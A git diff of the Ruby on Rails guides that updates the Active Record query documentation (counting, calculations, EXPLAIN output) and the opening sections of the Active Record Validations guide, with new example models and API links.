 # via a model
-Article.any?
-Article.many?
+Order.any?
+# SELECT 1 FROM orders LIMIT 1
+Order.many?
+# SELECT COUNT(*) FROM (SELECT 1 FROM orders LIMIT 2)
 
 # via a named scope
-Article.recent.any?
-Article.recent.many?
+Order.shipped.any?
+# SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 1
+Order.shipped.many?
+# SELECT COUNT(*) FROM (SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 2)
 
 # via a relation
-Article.where(published: true).any?
-Article.where(published: true).many?
+Book.where(out_of_print: true).any?
+Book.where(out_of_print: true).many?
 
 # via an association
-Article.first.categories.any?
-Article.first.categories.many?
+Customer.first.orders.any?
+Customer.first.orders.many?
 ```
 
+[`exists?`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F
+
 Calculations
 ------------
 
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+This section uses [`count`][] as an example method in this preamble, but the options described apply to all sub-sections.
 
 All calculation methods work directly on a model:
 
-```ruby
-Client.count
-# SELECT count(*) AS count_all FROM clients
+```irb
+irb> Customer.count
+SELECT COUNT(*) FROM customers
 ```
 
 Or on a relation:
 
-```ruby
-Client.where(first_name: 'Ryan').count
-# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+```irb
+irb> Customer.where(first_name: 'Ryan').count
+SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan')
 ```
 
 You can also use various finder methods on a relation for performing complex calculations:
 
-```ruby
-Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+```irb
+irb> Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count
 ```
 
 Which will execute:
 
 ```sql
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
-  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
-  (clients.first_name = 'Ryan' AND orders.status = 'received')
+SELECT COUNT(DISTINCT customers.id) FROM customers
+  LEFT OUTER JOIN orders ON orders.customer_id = customers.id
+  WHERE (customers.first_name = 'Ryan' AND orders.status = 0)
 ```
 
-### Count
+assuming that Order has `enum status: [ :shipped, :being_packed, :cancelled ]`.
 
-If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
+### `count`
+
+If you want to see how many records are in your model's table you could call `Customer.count` and that will return the number.
+If you want to be more specific and find all the customers with a title present in the database you can use `Customer.count(:title)`.
 
 For options, please see the parent section, [Calculations](#calculations).
 
-### Average
+### `average`
 
-If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
+If you want to see the average of a certain number in one of your tables you can call the [`average`][] method on the class that relates to the table. This method call will look something like this:
 
 ```ruby
-Client.average("orders_count")
+Order.average("subtotal")
 ```
 
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+This will return a number (possibly a floating-point number such as 3.14159265) representing the average value in the field.
 
 For options, please see the parent section, [Calculations](#calculations).
 
-### Minimum
+[`average`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average
+
+### `minimum`
 
-If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
+If you want to find the minimum value of a field in your table you can call the [`minimum`][] method on the class that relates to the table. This method call will look something like this:
 
 ```ruby
-Client.minimum("age")
+Order.minimum("subtotal")
 ```
 
 For options, please see the parent section, [Calculations](#calculations).
 
-### Maximum
+[`minimum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum
 
-If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
+### `maximum`
+
+If you want to find the maximum value of a field in your table you can call the [`maximum`][] method on the class that relates to the table. This method call will look something like this:
 
 ```ruby
-Client.maximum("age")
+Order.maximum("subtotal")
 ```
 
 For options, please see the parent section, [Calculations](#calculations).
 
-### Sum
+[`maximum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum
+
+### `sum`
 
-If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
+If you want to find the sum of a field for all records in your table you can call the [`sum`][] method on the class that relates to the table. This method call will look something like this:
 
 ```ruby
-Client.sum("orders_count")
+Order.sum("subtotal")
 ```
 
 For options, please see the parent section, [Calculations](#calculations).
 
+[`sum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum
+
 Running EXPLAIN
 ---------------
 
-You can run EXPLAIN on the queries triggered by relations. For example,
+You can run [`explain`][] on a relation. EXPLAIN output varies for each database.
+
+For example, running:
 
 ```ruby
-User.where(id: 1).joins(:articles).explain
+Customer.where(id: 1).joins(:orders).explain
 ```
 
-may yield
+may yield this for MySQL and MariaDB:
 
-```
-EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
-+----+-------------+----------+-------+---------------+
-| id | select_type | table    | type  | possible_keys |
-+----+-------------+----------+-------+---------------+
-|  1 | SIMPLE      | users    | const | PRIMARY       |
-|  1 | SIMPLE      | articles | ALL   | NULL          |
-+----+-------------+----------+-------+---------------+
+```sql
+EXPLAIN SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1
++----+-------------+------------+-------+---------------+
+| id | select_type | table      | type  | possible_keys |
++----+-------------+------------+-------+---------------+
+|  1 | SIMPLE      | customers  | const | PRIMARY       |
+|  1 | SIMPLE      | orders     | ALL   | NULL          |
++----+-------------+------------+-------+---------------+
 +---------+---------+-------+------+-------------+
 | key     | key_len | ref   | rows | Extra       |
 +---------+---------+-------+------+-------------+
@@ -1952,42 +2685,41 @@ EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`
 2 rows in set (0.00 sec)
 ```
 
-under MySQL and MariaDB.
-
-Active Record performs a pretty printing that emulates that of the
-corresponding database shell. So, the same query running with the
-PostgreSQL adapter would yield instead
+Active Record performs pretty printing that emulates the output of
+the corresponding database shell. So, the same query run with the
+PostgreSQL adapter would instead yield:
 
-```
-EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
+```sql
+EXPLAIN SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]]
                                   QUERY PLAN
 ------------------------------------------------------------------------------
- Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
-   Join Filter: (articles.user_id = users.id)
-   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
-         Index Cond: (id = 1)
-   ->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
-         Filter: (articles.user_id = 1)
-(6 rows)
+ Nested Loop  (cost=4.33..20.85 rows=4 width=164)
+    ->  Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
+          Index Cond: (id = '1'::bigint)
+    ->  Bitmap Heap Scan on orders  (cost=4.18..12.64 rows=4 width=8)
+          Recheck Cond: (customer_id = '1'::bigint)
+          ->  Bitmap Index Scan on index_orders_on_customer_id  (cost=0.00..4.18 rows=4 width=0)
+                Index Cond: (customer_id = '1'::bigint)
+(7 rows)
 ```
 
 Eager loading may trigger more than one query under the hood, and some queries
 may need the results of previous ones. Because of that, `explain` actually
-executes the query, and then asks for the query plans. For example,
+executes the query, and then asks for the query plans. For example, running:
 
 ```ruby
-User.where(id: 1).includes(:articles).explain
+Customer.where(id: 1).includes(:orders).explain
 ```
 
-yields
+may yield this for MySQL and MariaDB:
 
-```
-EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
-+----+-------------+-------+-------+---------------+
-| id | select_type | table | type  | possible_keys |
-+----+-------------+-------+-------+---------------+
-|  1 | SIMPLE      | users | const | PRIMARY       |
-+----+-------------+-------+-------+---------------+
+```sql
+EXPLAIN SELECT `customers`.* FROM `customers`  WHERE `customers`.`id` = 1
++----+-------------+-----------+-------+---------------+
+| id | select_type | table     | type  | possible_keys |
++----+-------------+-----------+-------+---------------+
+|  1 | SIMPLE      | customers | const | PRIMARY       |
++----+-------------+-----------+-------+---------------+
 +---------+---------+-------+------+-------+
 | key     | key_len | ref   | rows | Extra |
 +---------+---------+-------+------+-------+
@@ -1996,12 +2728,12 @@ EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
 
 1 row in set (0.00 sec)
 
-EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
-+----+-------------+----------+------+---------------+
-| id | select_type | table    | type | possible_keys |
-+----+-------------+----------+------+---------------+
-|  1 | SIMPLE      | articles | ALL  | NULL          |
-+----+-------------+----------+------+---------------+
+EXPLAIN SELECT `orders`.* FROM `orders`  WHERE `orders`.`customer_id` IN (1)
++----+-------------+--------+------+---------------+
+| id | select_type | table  | type | possible_keys |
++----+-------------+--------+------+---------------+
+|  1 | SIMPLE      | orders | ALL  | NULL          |
++----+-------------+--------+------+---------------+
 +------+---------+------+------+-------------+
 | key  | key_len | ref  | rows | Extra       |
 +------+---------+------+------+-------------+
@@ -2012,17 +2744,86 @@ EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN
 1 row in set (0.00 sec)
 ```
 
-under MySQL and MariaDB.
+and may yield this for PostgreSQL:
+
+```sql
+  Customer Load (0.3ms)  SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1  [["id", 1]]
+  Order Load (0.3ms)  SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1  [["customer_id", 1]]
+=> EXPLAIN SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]]
+                                    QUERY PLAN
+----------------------------------------------------------------------------------
+ Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
+   Index Cond: (id = '1'::bigint)
+(2 rows)
+```
+
+[`explain`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain
+
+### Explain Options
+
+For databases and adapters which support them (currently PostgreSQL, MySQL, and MariaDB), options can be passed to provide deeper analysis.
+
+Using PostgreSQL, the following:
+
+```ruby
+Customer.where(id: 1).joins(:orders).explain(:analyze, :verbose)
+```
+
+yields:
+
+```sql
+EXPLAIN (ANALYZE, VERBOSE) SELECT "shop_accounts".* FROM "shop_accounts" INNER JOIN "customers" ON "customers"."id" = "shop_accounts"."customer_id" WHERE "shop_accounts"."id" = $1 [["id", 1]]
+                                                                   QUERY PLAN
+------------------------------------------------------------------------------------------------------------------------------------------------
+ Nested Loop  (cost=0.30..16.37 rows=1 width=24) (actual time=0.003..0.004 rows=0 loops=1)
+   Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id
+   Inner Unique: true
+   ->  Index Scan using shop_accounts_pkey on public.shop_accounts  (cost=0.15..8.17 rows=1 width=24) (actual time=0.003..0.003 rows=0 loops=1)
+         Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id
+         Index Cond: (shop_accounts.id = '1'::bigint)
+   ->  Index Only Scan using customers_pkey on public.customers  (cost=0.15..8.17 rows=1 width=8) (never executed)
+         Output: customers.id
+         Index Cond: (customers.id = shop_accounts.customer_id)
+         Heap Fetches: 0
+ Planning Time: 0.063 ms
+ Execution Time: 0.011 ms
+(12 rows)
+```
+
+Using MySQL or MariaDB, the following:
+
+```ruby
+Customer.where(id: 1).joins(:orders).explain(:analyze)
+```
+
+yields:
+
+```sql
+ANALYZE SELECT `shop_accounts`.* FROM `shop_accounts` INNER JOIN `customers` ON `customers`.`id` = `shop_accounts`.`customer_id` WHERE `shop_accounts`.`id` = 1
++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
+| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | r_rows | filtered | r_filtered | Extra                          |
++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
+|  1 | SIMPLE      | NULL  | NULL | NULL          | NULL | NULL    | NULL | NULL | NULL   | NULL     | NULL       | no matching row in const table |
++----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
+1 row in set (0.00 sec)
+```
+
+NOTE: EXPLAIN and ANALYZE options vary across MySQL and MariaDB versions.
+([MySQL 5.7][MySQL5.7-explain], [MySQL 8.0][MySQL8-explain], [MariaDB][MariaDB-explain])
+
+[MySQL5.7-explain]: https://dev.mysql.com/doc/refman/5.7/en/explain.html
+[MySQL8-explain]: https://dev.mysql.com/doc/refman/8.0/en/explain.html
+[MariaDB-explain]: https://mariadb.com/kb/en/analyze-and-explain-statements/
 
 ### Interpreting EXPLAIN
 
 Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
 following pointers may be helpful:
 
-* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
+* SQLite3: [EXPLAIN QUERY PLAN](https://www.sqlite.org/eqp.html)
 
-* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.7/en/explain-output.html)
+* MySQL: [EXPLAIN Output Format](https://dev.mysql.com/doc/refman/en/explain-output.html)
 
 * MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/)
 
-* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
+* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index 32b38cde5e1dd..8bd6c85984ac8 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -1,16 +1,18 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Validations
 =========================
 
-This guide teaches you how to validate the state of objects before they go into
-the database using Active Record's validations feature.
+This guide teaches you how to validate Active Record objects before saving them
+to the database using Active Record's validations feature.
 
 After reading this guide, you will know:
 
-* How to use the built-in Active Record validation helpers.
+* How to use the built-in Active Record validations and options.
+* How to check the validity of objects.
+* How to create conditional and strict validations.
 * How to create your own custom validation methods.
-* How to work with the error messages generated by the validation process.
+* How to work with the validation error messages and displaying them in views.
 
 --------------------------------------------------------------------------------
 
@@ -23,28 +25,32 @@ Here's an example of a very simple validation:
 class Person < ApplicationRecord
   validates :name, presence: true
 end
+```
 
-Person.create(name: "John Doe").valid? # => true
-Person.create(name: nil).valid? # => false
+```irb
+irb> Person.new(name: "John Doe").valid?
+=> true
+irb> Person.new(name: nil).valid?
+=> false
 ```
 
-As you can see, our validation lets us know that our `Person` is not valid
-without a `name` attribute. The second `Person` will not be persisted to the
-database.
+As you can see, the `Person` is not valid without a `name` attribute.
 
 Before we dig into more details, let's talk about how validations fit into the
 big picture of your application.
 
 ### Why Use Validations?
 
-Validations are used to ensure that only valid data is saved into your
-database. For example, it may be important to your application to ensure that
-every user provides a valid email address and mailing address. Model-level
-validations are the best way to ensure that only valid data is saved into your
-database. They are database agnostic, cannot be bypassed by end users, and are
-convenient to test and maintain. Rails makes them easy to use, provides
-built-in helpers for common needs, and allows you to create your own validation
-methods as well.
+Validations are used to ensure that only valid data is saved into your database.
+For example, it may be important to your application to ensure that every user
+provides a valid email address and mailing address. Model-level validations are
+the best way to ensure that only valid data is saved into your database. They
+can be used with any database, cannot be bypassed by end users, and are
+convenient to test and maintain. Rails provides built-in helpers for common
+needs, and allows you to create your own validation methods as well.
+
+
+### Alternate Ways to Validate
 
 There are several other ways to validate data before it is saved into your
 database, including native database constraints, client-side validations and
@@ -52,224 +58,414 @@ controller-level validations. Here's a summary of the pros and cons:
 
 * Database constraints and/or stored procedures make the validation mechanisms
   database-dependent and can make testing and maintenance more difficult.
-  However, if your database is used by other applications, it may be a good
-  idea to use some constraints at the database level. Additionally,
-  database-level validations can safely handle some things (such as uniqueness
-  in heavily-used tables) that can be difficult to implement otherwise.
+  However, if your database is used by other applications, it may be a good idea
+  to use some constraints at the database level. Additionally, database-level
+  validations can safely handle some things (such as uniqueness in heavily-used
+  tables) that can be difficult to implement otherwise.
 * Client-side validations can be useful, but are generally unreliable if used
   alone. If they are implemented using JavaScript, they may be bypassed if
   JavaScript is turned off in the user's browser. However, if combined with
   other techniques, client-side validation can be a convenient way to provide
   users with immediate feedback as they use your site.
-* Controller-level validations can be tempting to use, but often become
-  unwieldy and difficult to test and maintain. Whenever possible, it's a good
-  idea to keep your controllers skinny, as it will make your application a
-  pleasure to work with in the long run.
+* Controller-level validations can be tempting to use, but often become unwieldy
+  and difficult to test and maintain. Whenever possible, it's a good idea to
+  keep your controllers simple, as it will make working with your application
+  easier in the long run.
 
-Choose these in certain, specific cases. It's the opinion of the Rails team
-that model-level validations are the most appropriate in most circumstances.
+Rails recommends using model-level validations in most circumstances, however
+there may be specific cases where you want to complement them with alternate
+validations.
 
-### When Does Validation Happen?
+### Validation Triggers
 
-There are two kinds of Active Record objects: those that correspond to a row
-inside your database and those that do not. When you create a fresh object, for
-example using the `new` method, that object does not belong to the database
-yet. Once you call `save` upon that object it will be saved into the
-appropriate database table. Active Record uses the `new_record?` instance
-method to determine whether an object is already in the database or not.
-Consider the following simple Active Record class:
+There are two kinds of Active Record objects - those that correspond to a row
+inside your database and those that do not. When you instantiate a new object,
+using the `new` method, the object does not get saved in the database as yet.
+Once you call `save` on that object, it will be saved into the appropriate
+database table. Active Record uses an instance method called `persisted?` (and
+its inverse `new_record?`) to determine whether an object is already in the
+database or not. Consider the following Active Record class:
 
 ```ruby
 class Person < ApplicationRecord
 end
 ```
 
-We can see how it works by looking at some `rails console` output:
+We can see how it works by looking at some `bin/rails console` output:
 
-```ruby
-$ bin/rails console
->> p = Person.new(name: "John Doe")
-=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
->> p.new_record?
+```irb
+irb> p = Person.new(name: "Jane Doe")
+=> #<Person id: nil, name: "Jane Doe", created_at: nil, updated_at: nil>
+
+irb> p.new_record?
 => true
->> p.save
+
+irb> p.persisted?
+=> false
+
+irb> p.save
 => true
->> p.new_record?
+
+irb> p.new_record?
 => false
+
+irb> p.persisted?
+=> true
 ```
 
-Creating and saving a new record will send an SQL `INSERT` operation to the
-database. Updating an existing record will send an SQL `UPDATE` operation
-instead. Validations are typically run before these commands are sent to the
-database. If any validations fail, the object will be marked as invalid and
-Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids
-storing an invalid object in the database. You can choose to have specific
-validations run when an object is created, saved, or updated.
+Saving a new record will send an SQL `INSERT` operation to the database, whereas
+updating an existing record will send an SQL `UPDATE` operation. Validations are
+typically run before these commands are sent to the database. If any validations
+fail, the object will be marked as invalid and Active Record will not perform
+the `INSERT` or `UPDATE` operation. This helps to avoid storing an invalid
+object in the database. You can choose to have specific validations run when an
+object is created, saved, or updated.
 
-CAUTION: There are many ways to change the state of an object in the database.
-Some methods will trigger validations, but some will not. This means that it's
-possible to save an object in the database in an invalid state if you aren't
-careful.
+WARNING: While validations usually prevent invalid data from being saved to the
+database, it's important to be aware that not all methods in Rails trigger
+validations. Some methods allow changes to be made directly to the database
+without performing validations. As a result, if you're not careful, it’s
+possible to [bypass validations](#skipping-validations) and save an object in an
+invalid state.
 
 The following methods trigger validations, and will save the object to the
 database only if the object is valid:
 
-* `create`
-* `create!`
-* `save`
-* `save!`
-* `update`
-* `update!`
-
-The bang versions (e.g. `save!`) raise an exception if the record is invalid.
-The non-bang versions don't: `save` and `update` return `false`, and
-`create` just returns the object.
+* [`create`][]
+* [`create!`][]
+* [`save`][]
+* [`save!`][]
+* [`update`][]
+* [`update!`][]
+
+The bang versions (methods that end with an exclamation mark, like `save!`)
+raise an exception if the record is invalid. The non-bang versions - `save` and
+`update` returns `false`, and `create` returns the object.
+
+[`create`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create
+[`create!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21
+[`save`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save
+[`save!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21
+[`update`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update
+[`update!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update-21
 
 ### Skipping Validations
 
-The following methods skip validations, and will save the object to the
-database regardless of its validity. They should be used with caution.
-
-* `decrement!`
-* `decrement_counter`
-* `increment!`
-* `increment_counter`
-* `toggle!`
-* `touch`
-* `update_all`
-* `update_attribute`
-* `update_column`
-* `update_columns`
-* `update_counters`
-
-Note that `save` also has the ability to skip validations if passed `validate:
-false` as an argument. This technique should be used with caution.
-
+The following methods skip validations, and will save the object to the database
+regardless of its validity. They should be used with caution. Refer to the
+method documentation to learn more.
+
+* [`decrement!`][]
+* [`decrement_counter`][]
+* [`increment!`][]
+* [`increment_counter`][]
+* [`insert`][]
+* [`insert!`][]
+* [`insert_all`][]
+* [`insert_all!`][]
+* [`toggle!`][]
+* [`touch`][]
+* [`touch_all`][]
+* [`update_all`][]
+* [`update_attribute`][]
+* [`update_attribute!`][]
+* [`update_column`][]
+* [`update_columns`][]
+* [`update_counters`][]
+* [`upsert`][]
+* [`upsert_all`][]
 * `save(validate: false)`
 
-### `valid?` and `invalid?`
-
-Before saving an Active Record object, Rails runs your validations.
-If these validations produce any errors, Rails does not save the object.
-
-You can also run these validations on your own. `valid?` triggers your validations
-and returns true if no errors were found in the object, and false otherwise.
-As you saw above:
+NOTE: `save` also has the ability to skip validations if `validate: false` is
+passed as an argument. This technique should be used with caution.
+
+
+[`decrement!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
+[`decrement_counter`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter
+[`increment!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21
+[`increment_counter`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter
+[`insert`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert
+[`insert!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21
+[`insert_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all
+[`insert_all!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21
+[`toggle!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-toggle-21
+[`touch`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch
+[`touch_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all
+[`update_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all
+[`update_attribute`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute
+[`update_attribute!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21
+[`update_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column
+[`update_columns`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns
+[`update_counters`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters
+[`upsert`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert
+[`upsert_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all
+
+### Checking Validity
+
+Before saving an Active Record object, Rails runs your validations, and if these
+validations produce any validation errors, then Rails will not save the object.
+
+You can also run the validations on your own. [`valid?`][] triggers your
+validations and returns true if no errors are found in the object, and false
+otherwise. As you saw above:
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true
 end
+```
 
-Person.create(name: "John Doe").valid? # => true
-Person.create(name: nil).valid? # => false
+```irb
+irb> Person.new(name: "John Doe").valid?
+=> true
+irb> Person.new(name: nil).valid?
+=> false
 ```
 
-After Active Record has performed validations, any errors found can be accessed
-through the `errors.messages` instance method, which returns a collection of errors.
-By definition, an object is valid if this collection is empty after running
+After Active Record has performed validations, any failures can be accessed
+through the [`errors`][] instance method, which returns a collection of errors.
+By definition, an object is valid if the collection is empty after running
 validations.
 
-Note that an object instantiated with `new` will not report errors
-even if it's technically invalid, because validations are automatically run
-only when the object is saved, such as with the `create` or `save` methods.
+NOTE: An object instantiated with `new` will not report errors even if it's
+technically invalid, because validations are automatically run only when the
+object is saved, such as with the `create` or `save` methods.
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true
 end
+```
 
->> p = Person.new
-# => #<Person id: nil, name: nil>
->> p.errors.messages
-# => {}
-
->> p.valid?
-# => false
->> p.errors.messages
-# => {name:["can't be blank"]}
+```irb
+irb> person = Person.new
+=> #<Person id: nil, name: nil, created_at: nil, updated_at: nil>
+irb> person.errors.size
+=> 0
 
->> p = Person.create
-# => #<Person id: nil, name: nil>
->> p.errors.messages
-# => {name:["can't be blank"]}
+irb> person.valid?
+=> false
+irb> person.errors.objects.first.full_message
+=> "Name can't be blank"
 
->> p.save
-# => false
+irb> person.save
+=> false
 
->> p.save!
-# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+irb> person.save!
+ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
 
->> Person.create!
-# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+irb> Person.create!
+ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
 ```
 
-`invalid?` is simply the inverse of `valid?`. It triggers your validations,
+[`invalid?`][] is the inverse of `valid?`. It triggers your validations,
 returning true if any errors were found in the object, and false otherwise.
 
-### `errors[]`
+[`errors`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-errors
+[`invalid?`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F
+[`valid?`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Validations.html#method-i-valid-3F
+
+### Inspecting and Handling Errors
 
 To verify whether or not a particular attribute of an object is valid, you can
-use `errors[:attribute]`. It returns an array of all the errors for
-`:attribute`. If there are no errors on the specified attribute, an empty array
-is returned.
+use [`errors[:attribute]`][Errors#squarebrackets]. It returns an array of all
+the error messages for `:attribute`. If there are no errors on the specified
+attribute, an empty array is returned. This allows you to easily determine
+whether there are any validation issues with a specific attribute.
 
-This method is only useful _after_ validations have been run, because it only
-inspects the errors collection and does not trigger validations itself. It's
-different from the `ActiveRecord::Base#invalid?` method explained above because
-it doesn't verify the validity of the object as a whole. It only checks to see
-whether there are errors found on an individual attribute of the object.
+Here’s an example illustrating how to check for errors on an attribute:
 
 ```ruby
 class Person < ApplicationRecord
   validates :name, presence: true
 end
+```
+
+```irb
+irb> new_person = Person.new
+irb> new_person.errors[:name]
+=> [] # no errors since validations are not run until saved
+irb> new_person.errors[:name].any?
+=> false
 
->> Person.new.errors[:name].any? # => false
->> Person.create.errors[:name].any? # => true
+irb> create_person = Person.create
+irb> create_person.errors[:name]
+=> ["can't be blank"] # validation error because `name` is required
+irb> create_person.errors[:name].any?
+=> true
 ```
 
-We'll cover validation errors in greater depth in the [Working with Validation
-Errors](#working-with-validation-errors) section.
+Additionally, you can use the
+[`errors.add`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add)
+method to manually add error messages for specific attributes. This is
+particularly useful when defining custom validation scenarios.
 
-### `errors.details`
+```ruby
+class Person < ApplicationRecord
+  validate do |person|
+    errors.add :name, :too_short, message: "is not long enough"
+  end
+end
+```
 
-To check which validations failed on an invalid attribute, you can use
-`errors.details[:attribute]`. It returns an array of hashes with an `:error`
-key to get the symbol of the validator:
+NOTE: To read about validation errors in greater depth refer to the [Working
+with Validation Errors](#working-with-validation-errors) section.
+
+[Errors#squarebrackets]:
+    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-5B-5D
+
+Validations
+-----------
+
+Active Record offers many predefined validations that you can use directly
+inside your class definitions. These predefined validations provide common
+validation rules. Each time a validation fails, an error message is added to the
+object's `errors` collection, and this error is associated with the specific
+attribute being validated.
+
+When a validation fails, the error message is stored in the `errors` collection
+under the attribute name that triggered the validation. This means you can
+easily access the errors related to any specific attribute. For instance, if you
+validate the `:name` attribute and the validation fails, you will find the error
+message under `errors[:name]`.
+
+In modern Rails applications, the more concise validate syntax is commonly used,
+for example:
+
+```ruby
+validates :name, presence: true
+```
+
+However, older versions of Rails used "helper" methods, such as:
+
+```ruby
+validates_presence_of :name
+```
+
+Both notations perform the same function, but the newer form is recommended for
+its readability and alignment with Rails' conventions.
+
+Each validation accepts an arbitrary number of attribute names, allowing you to
+apply the same type of validation to multiple attributes in a single line of
+code.
+
+Additionally, all validations accept the `:on` and `:message` options. The `:on`
+option specifies when the validation should be triggered, with possible values
+being `:create` or `:update`. The `:message` option allows you to define a
+custom error message that will be added to the errors collection if the
+validation fails. If you do not specify a message, Rails will use a default
+error message for that validation.
+
+INFO: To see a list of the available default helpers, take a look at
+[`ActiveModel::Validations::HelperMethods`][]. This API section uses the older
+notation as described above.
+
+[`ActiveModel::Validations::HelperMethods`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/HelperMethods.html
+
+Below we outline the most commonly used validations.
+
+### `absence`
+
